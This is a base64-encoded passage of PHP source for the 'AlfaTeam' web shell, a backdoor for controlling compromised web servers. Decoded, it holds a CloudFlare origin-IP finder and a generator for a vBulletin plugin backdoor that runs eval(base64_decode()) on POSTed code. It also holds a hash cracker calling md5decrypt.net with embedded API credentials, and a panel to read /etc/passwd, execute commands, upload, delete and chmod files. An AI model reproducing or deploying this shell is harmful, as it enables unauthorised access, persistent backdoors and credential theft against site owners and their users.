0ZXIuJywgJ2FwcHMuJywgJ2JldGEuJywgJ2RlbW8uJywgJ3NtdHAuJywgJ25zMi4nLCAnbnMxLicsICdzZXJ2ZXIuJywgJ3Nob3AuJywgJ2hvc3QuJywgJ3dlYi4nLCAnY2xvdWQuJywgJ2FwaS4nLCAnZXhjaGFuZ2UuJywgJ2FwcC4nLCAndnBzLicsICdvd2EuJywgJ3NhdC4nLCAnYmJzLicsICdtb3ZpZS4nLCAnbXVzaWMuJywgJ2FydC4nLCAnZnVzaW9uLicsICdtYXBzLicsICdmb3J1bXMuJywgJ2FjYy4nLCAnY2MuJywgJ2Rldi4nLCAnd3c0Mi4nLCAnd2lraS4nLCAnY2xpZW50cy4nLCAnY2xpZW50LicsJ2Jvb2tzLicsJ2Fuc3dlcnMuJywnc2VydmljZS4nLCdncm91cHMuJywnaW1hZ2VzLicsJ3VwbG9hZC4nLCd1cC4nLCd0dWJlLicsJ3VzZXJzLicsJ2FkbWluLicsJ2FkbWluaXN0cmF0b3IuJywncHJpdmF0ZS4nLCdkZXNpZ24uJywnd2htY3MuJywnd3AuJywnd29yZHByZXNzLicsJ2pvb21sYS4nLCd2YnVsbGV0aW4uJywndGVzdC4nLCdkZXZlbG9wZXIuJywncGFuZWwuJywnY29udGFjdC4nKTsgIGlmKHByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsLCAkbWF0Y2hlcykpeyAgaWYoJG1hdGNoZXNbMl0gIT0gJ3d3dycpeyR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7fWVsc2V7ICAkdXJsID0gZXhwbG9kZSgkbWF0Y2hlc1swXSwgJHVybCk7ICAkdXJsID0gJHVybFsxXTt9fSAgaWYoaXNfYXJyYXkoJHNlcnZlcikpJHNlcnZlciA9ICRzZXJ2ZXJbMF07ICBlY2hvIF9fcHJlKCk7ICBpZihwcmVnX21hdGNoKCcvY2xvdWRmbGFyZS9pJywgJHNlcnZlcikpICBlY2hvICJcblsrXSBDbG91ZEZsYXJlIGRldGVjdGVkOiB7JHNlcnZlcn1cbjxicj4iOyAgZWxzZSAgZWNobyAiXG5bK10gQ2xvdWRGbGFyZSB3YXNuJ3QgZGV0ZWN0ZWQsIHByb2NlZWRpbmcgYW55d2F5LlxuIjsgIGVjaG8gJ1srXSBDbG91ZEZsYXJlIElQOiAnIC4gaXNfaXB2NChnZXRob3N0YnluYW1lKCR1cmwpKSAuICJcblxuPGJyPjxicj4iOyAgZWNobyAiWytdIFNlYXJjaGluZyBmb3IgbW9yZSBJUCBhZGRyZXNzZXMuXG5cbjxicj48YnI+IjsgIGZvcigkeD0wOyR4PGNvdW50KCRzdWJzKTskeCsrKXsgICRzaXRlID0gJHN1YnNbJHhdIC4gJHVybDsgICRpcCA9IGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkc2l0ZSkpOyAgaWYoJGlwID09ICcoTnVsbCknKSAgY29udGludWU7ICBlY2hvICJUcnlpbmcgeyRzaXRlfTogeyRpcH1cbjxicj4iOyAgfSAgZWNobyAiXG5bK10gRmluaXNoZWQuXG48YnI+IjsgIH0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBpc19pcHY0KCRpcCl7ICByZXR1cm4gZmlsdGVyX3ZhcigkaXAsIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfSVBWNCkgPyAkaXAgOiAnKE51bGwpJzsgIH0gIGZ1bmN0aW9uIF9fYWxlcnQoJHMpeyAgZWNobyAnPGNlbnRlcj4nLl9fcHJlKCkuJHMuJzwvY2VudGVyPic7ICB9ICBmdW5jdGlvbiBjcmVhdGVfdGFibGUoJGRhdGEpeyAgZWNobyAnPHRhYmxlIGJvcmRlcj0iMSI+JzsgIGZvcmVhY2ggKCRkYXRhIGFzICRrZXkgPT4gJHZhbCl7ICAkYXJyYXkgPSBhcnJheSgpOyAgZm9yZWFjaCgkdmFsIGFzICRrID0+ICR2KXsgICRhcnJheVska10gPSAkdjsgIH0gIGVjaG8gIjx0cj48dGQ+PGRpdiBjbGFzcz0ndGJsdHh0Jz4iLiRhcnJheVsndGROYW1lJ10uIjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nIi4kYXJyYXlbJ2lkJ10uIicgbmFtZT0nIi4kYXJyYXlbJ2lucHV0TmFtZSddLiInICIuKCRhcnJheVsncGxhY2Vob2xkZXInXT8ncGxhY2Vob2xkZXInOid2YWx1ZScpLiI9JyIuJGFycmF5WydpbnB1dFZhbHVlJ10uIicgc2l6ZT0nIi4kYXJyYXlbJ2lucHV0U2l6ZSddLiInICIuKCRhcnJheVsnZGlzYWJsZWQnXT8nZGlzYWJsZWQnOicnKS4iPjwvdGQ+PC90cj4iOyAgfSAgZWNobyAnPC90YWJsZT4nOyAgfSAgZnVuY3Rpb24gYWxmYXBocDJ4bWwoKXsgIGFsZmFoZWFkKCk7ICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNoZWxsIEZvciB2QnVsbGV0aW4gfDwvZGl2PjwvcD48Zm9ybSBvbnN1Ym1pdD1cImcoJ3BocDJ4bWwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPSdwb3N0Jz4KPHA+PGJyPjx0ZXh0YXJlYSByb3dzPScxMicgY29scz0nNzAnIHR5cGU9J3RleHQnIG5hbWU9J2NvZGUnIHBsYWNlaG9sZGVyPVwiaW5zZXJ0IHlvdXIgc2hlbGwgY29kZVwiPjwvdGV4dGFyZWE+PGJyLz48YnIvPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnbycgdmFsdWU9JyAnIC8+PC9wPjwvZm9ybT48L2NlbnRlcj4iOyAgaWYoJF9QT1NUWydhbGZhMiddJiYkX1BPU1RbJ2FsZmEyJ109PSc+PicpeyAgZWNobyBfX3ByZSgpLiI8cD48Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzgwJz4iOyAgZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PjxwbHVnaW5zPjxwbHVnaW4gYWN0aXZlPSIxIiBwcm9kdWN0PSJ2YnVsbGV0aW4iPjx0aXRsZT52QnVsbGV0aW48L3RpdGxlPjxob29rbmFtZT5pbml0X3N0YXJ0dXA8L2hvb2tuYW1lPjxwaHBjb2RlPjwhW0NEQVRBW2lmIChzdHJwb3MoJF9TRVJWRVJbXCdQSFBfU0VMRlwnXSwic3Vic2NyaXB0aW9ucy5waHAiKSl7ZXZhbChiYXNlNjRfZGVjb2RlKFwnJy5fX1pXNWpiMlJsY2coJF9QT1NUWydhbGZhMSddKS4nXCcpKTtleGl0O31dXT48L3BocGNvZGU+PC9wbHVnaW4+PC9wbHVnaW5zPic7ICBlY2hvICc8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nOyAgfSAgZWNobyAnPC9jZW50ZXI+PC9kaXY+JzsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFjcGNyYWNrKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIFRvb2xzIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnKSI+fCBEZUNyeXB0ZXIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJykiPnwgSGFzaCBBbmFseXplciB8IDwvYT48L2gzPjwvY2VudGVyPic7ICBpZigkX1BPU1RbJ2FsZmExJ109PSdkZWMnKXsgICRhbGdvcml0aG1zID0gYXJyYXkoJ21kNSc9PidNRDUnLCdtZDQnPT4nTUQ0Jywnc2hhMSc9PidTSEExJywnc2hhMjU2Jz0+J1NIQTI1NicsJ3NoYTM4NCc9PidTSEEzODQnLCdzaGE1MTInPT4nU0hBNTEyJywnbnRsbSc9PidOVExNJyk7ICBlY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ3J5cHRlciB8PC9kaXY+PGJyPjxicj4KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2RlY1wnLHRoaXMubWQ1LnZhbHVlLFwnPj5cJyx0aGlzLmFsZy52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPkRlY3J5cHQgTWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9ImFsZyIgc3R5bGU9IndpZHRoOjEwMHB4OyI+JzsgIGZvcmVhY2goJGFsZ29yaXRobXMgYXMgJGtleT0+JHZhbCl7ZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+Jyk7fSAgZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhhc2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOyAgaWYoJF9QT1NUWydhbGZhMyddID09Jz4+Jyl7ICAkaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsgIGlmKCFlbXB0eSgkaGFzaCkpeyAgJGhhc2hfdHlwZSA9ICRfUE9TVFsnYWxmYTQnXTsgICRlbWFpbCA9ICJzb2xldmlzaWJsZUBnbWFpbC5jb20iOyAgJGNvZGUgPSAiN2I5ZmE3OWY5MmMzY2Q5NiI7ICAkdGFyZ2V0ID0gImh0dHA6Ly9tZDVkZWNyeXB0Lm5ldC9BcGkvYXBpLnBocD9oYXNoPSIuJGhhc2guIiZoYXNoX3R5cGU9Ii4kaGFzaF90eXBlLiImZW1haWw9Ii4kZW1haWwuIiZjb2RlPSIuJGNvZGU7ICAkcmVzcCA9IEBmaWxlX2dldF9jb250ZW50cygkdGFyZ2V0KTsgIGlmKCRyZXNwPT0nJyl7ICAkZ2V0ID0gbmV3IEFsZmFDVVJMKCk7ICAkcmVzcCA9ICRnZXQtPlNlbmQoJHRhcmdldCk7ICB9ICBlY2hvIF9fcHJlKCkuJzxjZW50ZXI+JzsgIHN3aXRjaCgkcmVzcCl7ICAJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDEnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3UgZXhjZWVkZWQgdGhlIDQwMCBhbGxvd2VkIHJlcXVlc3QgcGVyIGRheTwvZm9udD48L2I+IjticmVhazsgICAJY2FzZSgnQ09ERSBFUlJFVVIgOiAwMDMnKTplY2hvICI8Yj48Zm9udCBjb2xvcj0ncmVkJz5Zb3VyIHJlcXVlc3QgaW5jbHVkZXMgbW9yZSB0aGFuIDQwMCBoYXNoZXMuPC9mb250PjwvYj4iO2JyZWFrOyAgIAljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNCcpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSB0eXBlIG9mIGhhc2ggeW91IHByb3ZpZGUgaW4gdGhlIGFyZ3VtZW50IGhhc2hfdHlwZSBkb2Vzbid0IHNlZW0gdG8gYmUgdmFsaWQ8L2ZvbnQ+PC9iPiI7YnJlYWs7ICAgCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA1Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIGhhc2ggeW91IHByb3ZpZGUgZG9lc24ndCBzZWVtIHRvIG1hdGNoIHdpdGggdGhlIHR5cGUgb2YgaGFzaCB5b3Ugc2V0LjwvZm9udD48L2I+IjticmVhazsgIH0gIGlmKHN1YnN0cigkcmVzcCwwLDQpIT0nQ09ERScmJiRyZXNwIT0nJyl7ICBlY2hvICI8Yj5SZXN1bHQ6IDxmb250IGNvbG9yPSdncmVlbic+Ii4kcmVzcC4iPC9mb250PjwvYj4iOyAgfWVsc2VpZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnKXsgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPk5vVCBGb3VuZDwvZm9udD48YnIgLz4iOyAgfSAgZWNobygnPC9jZW50ZXI+Jyk7ICB9ICB9ICB9ICBpZigkX1BPU1RbJ2FsZmExJ109PSdhbmFseXplcicpeyAgZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBIYXNoIEFuYWx5emVyIHw8L2Rpdj48L3A+Cjxmb3JtIG9uc3VibWl0PSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnLHRoaXMuaGFzaC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5IYXNoOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJoYXNoIiBzaXplPSI2MCIgaWQ9InRleHQiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPic7ICBpZigkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7ICAkaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsgIGlmKCFlbXB0eSgkaGFzaCkpeyAgJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsgICRyZXNwID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGFzaH0mY3J5cHQ9U2VhcmNoIik7ICBlY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7ICBpZihwcmVnX21hdGNoKCcjPGZpZWxkc2V0IGNsYXNzPSJ0cm91dmUiPiguKj8pPC9maWVsZHNldD4jJywkcmVzcCwkcykpeyAgCWVjaG8oJzxmb250IGNvbG9yPSJncmVlbiI+Jy4kc1sxXS4nPC9mb250PicpOyAgfWVsc2V7ICAJZWNobygnPGZvbnQgY29sb3I9InJlZCI+Tm90IEZvdW5kLi4uITwvZm9udD4nKTsgIH0gIGVjaG8oJzwvY2VudGVyPjxicj4nKTsgIH0gIH0gIH0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhZm9vdGVyKCl7aWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7ZWNobyAiPHRhYmxlIGNsYXNzPSdmb290JyB3aWR0aD0nMTAwJScgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMycgY2VsbHBhZGRpbmc9JzAnID48dHI+PHRkIHdpZHRoPScxNyUnPjxmb3JtIG9uc3VibWl0PVwiaWYodGhpcy5mLnZhbHVlLnRyaW0oKS5sZW5ndGg9PTApcmV0dXJuIGZhbHNlO2VkaXRvcih0aGlzLmYudmFsdWUsJ21rZmlsZScsJycsJycsJycsJ2ZpbGUnKTt0aGlzLmYudmFsdWU9Jyc7cmV0dXJuIGZhbHNlO1wiPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+TWFrZSBGaWxlIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZicgdmFsdWU9Jyc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD48dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7dGhpcy5kLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPk1ha2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPScyMiUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsdGhpcy5kZWwudmFsdWUpO3RoaXMuZGVsLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkRlbGV0ZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2RlbCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPScxOSUnPjxmb3JtIG9uc3VibWl0PVwiaWYodGhpcy5mLnZhbHVlLnRyaW0oKS5sZW5ndGg9PTApcmV0dXJuIGZhbHNlO2VkaXRvcih0aGlzLmYudmFsdWUsJ2NobW9kJywnJywnJywnJywnbm9uZScpO3RoaXMuZi52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5DaG1vZCA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWYgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxmb3JtIG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5DaGFuZ2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgaWQ9J2Zvb3Rlcl9jd2QnIHR5cGU9J3RleHQnIG5hbWU9J2MnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPjx0ZCBjb2xzcGFuPScyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nNCc+PGZvcm0gb25zdWJtaXQ9XCJnKCdwcm9jJyxudWxsLHRoaXMuYy52YWx1ZSk7dGhpcy5jLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3Bhbj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkV4ZWN1dGUgOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2MnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD0ndSh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmb290ZXJfZm9ybScgbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nRmlsZXNNQW4nPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3VwbG9hZEZpbGUnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NoYXJzZXQnIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPlVwbG9hZCBmaWxlOiA8L3NwYW4+PHNwYW4+PGJ1dHRvbiBpZD0nYWRkdXAnIG9uY2xpY2s9J2FkZG5ld3VwKCk7cmV0dXJuIGZhbHNlOyc+PGI+KzwvYj48L2J1dHRvbj48L3NwYW4+PHAgaWQ9J3Bmb290ZXJ1cCc+PGxhYmVsIGNsYXNzPSdpbnB1dGZpbGUnIGZvcj0nZm9vdGVydXAnPjxzcGFuIGlkPSdfX2ZuYW1ldXAnPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9J2Zvb3RlcnVwJyBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9J2ZpbGUnIG5hbWU9J2ZbXScgb25DaGFuZ2U9J2hhbmRsZXVwKHRoaXMsMCk7Jz48L3A+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjxicj48c3BhbiBjbGFzcz0nY29weXJpZ2h0Jz5bIC4vQWxmYVRlYW0gJmNvcHk7IDIwMTItIi5kYXRlKCdZJykuIiBdPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PjxkaXYgaWQ9J2NnaWxvYWRlcic+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1jb250cm9sbGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItbWluaW1pemUnIG9uQ2xpY2s9J2VkaXRvck1pbmltaXplKFwiY2dpbG9hZGVyXCIpOyc+PC9kaXY+PGRpdiBvbkNsaWNrPSdlZGl0b3JDbG9zZShcImNnaWxvYWRlclwiKTsnIGNsYXNzPSdjbG9zZS1idXR0b24nPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWZyYW1lJyBzdHlsZT0nbWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDsnPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2VkaXRvcic+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZXhwbG9yZXInPjxkaXYgY2xhc3M9J2hoZWFkZXInPjxkaXYgY2xhc3M9J2hpc3RvcnktY2xlYXInIG9uY2xpY2s9J2NsZWFyRWRpdG9ySGlzdG9yeSgpOyc+Q2xlYXIgYWxsPC9kaXY+PGRpdiBjbGFzcz0naGhlYWRlci10ZXh0Jz5IaXN0b3J5PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLXNlYXJjaCc+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIGlkPSdzZWFyY2gtaW5wdXQnIHBsYWNlaG9sZGVyPSdzZWFyY2gnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2hpc3RvcnktbGlzdCc+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLW1vZGFsJz48ZGl2IGNsYXNzPSdlZGl0b3ItYm9keSc+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J3VwZGF0ZS1jb250ZW50Jz48L2Rpdj48ZGl2IGlkPSdlZGl0b3ItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZWRpdG9yXCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxkaXYgY2xhc3M9J21pbmltaXplZC10ZXh0Jz5TaG93IEVkaXRvcjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PGRpdiBjbGFzcz0nbWluaW1pemVkLXRleHQnPlNob3cgQ2dpPC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdD4kKFwic2VhcmNoLWlucHV0XCIpLmFkZEV2ZW50TGlzdGVuZXIoXCJrZXlkb3duXCIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoXCJzZWFyY2gtaW5wdXRcIikudmFsdWU7ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKFwiaGlzdG9yeS1saXN0XCIpWzBdLmlubmVySFRNTD1cIlwiO2Zvcih2YXIgYSBpbiBlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1thXS5maWxlLnNlYXJjaChlKXx8XCJcIj09ZSl7dmFyIGk9MDthPT1lZGl0b3JfY3VycmVudF9maWxlJiYoaT1cIiBpc19hY3RpdmVcIiksaW5zZXJ0VG9IaXN0b3J5KGEsZWRpdG9yX2ZpbGVzW2FdLmZpbGUsaSxlZGl0b3JfZmlsZXNbYV0udHlwZSl9fSwxMDApfSwhMSksX0FqYXgoZC5VUkwsXCJhPVwiK2FsZmFiNjQoXCJjaGVja3VwZGF0ZVwiKSxmdW5jdGlvbihlKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKFwiYmVmb3JlZW5kXCIsZSl9KSwiLiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXS4iP19BamF4KGQuVVJMLFwiYT1cIithbGZhYjY0KFwidXBkYXRlaGVhZGVyXCIpLGZ1bmN0aW9uKGUpe3RyeXt2YXIgYT1KU09OLnBhcnNlKGUpO2Zvcih2YXIgaSBpbiBhKXtmb3IodmFyIHI9XCJcIix0PTA7dDxhW2ldLmxlbmd0aDt0Kyspcis9XCJ1c2VmdWxcIj09aXx8XCJkb3dubG9hZGVyXCI9PWk/JzxzcGFuIGNsYXNzPVwiaGVhZGVyX3ZhbHVlc1wiIHN0eWxlPVwibWFyZ2luLWxlZnQ6IDRweDtcIj4nK2FbaV1bdF0rXCI8L3NwYW4+XCI6YVtpXVt0XTt2YXIgbj0kKFwiaGVhZGVyX1wiK2kpO24mJihuLmlubmVySFRNTD1yKX0kKFwiaGVhZGVyX2NnaXNoZWxsXCIpLmlubmVySFRNTD1cIk9OXCIsJChcImhlYWRlcl9jZ2lzaGVsbFwiKS5zZXRBdHRyaWJ1dGUoXCJjbGFzc1wiLFwiaGVhZGVyX29uXCIpfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfX0pOmlzbGludXgmJl9BamF4KGQuVVJMLFwiYT1cIithbGZhYjY0KFwiY2hlY2tjZ2lcIiksZnVuY3Rpb24oZSl7XCJva1wiPT1lJiYoJChcImhlYWRlcl9jZ2lzaGVsbFwiKS5pbm5lckhUTUw9XCJPTlwiLCQoXCJoZWFkZXJfY2dpc2hlbGxcIikuc2V0QXR0cmlidXRlKFwiY2xhc3NcIixcImhlYWRlcl9vblwiKSl9KTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPiI7fX0gIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7ICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0gIGlmICghZnVuY3Rpb25f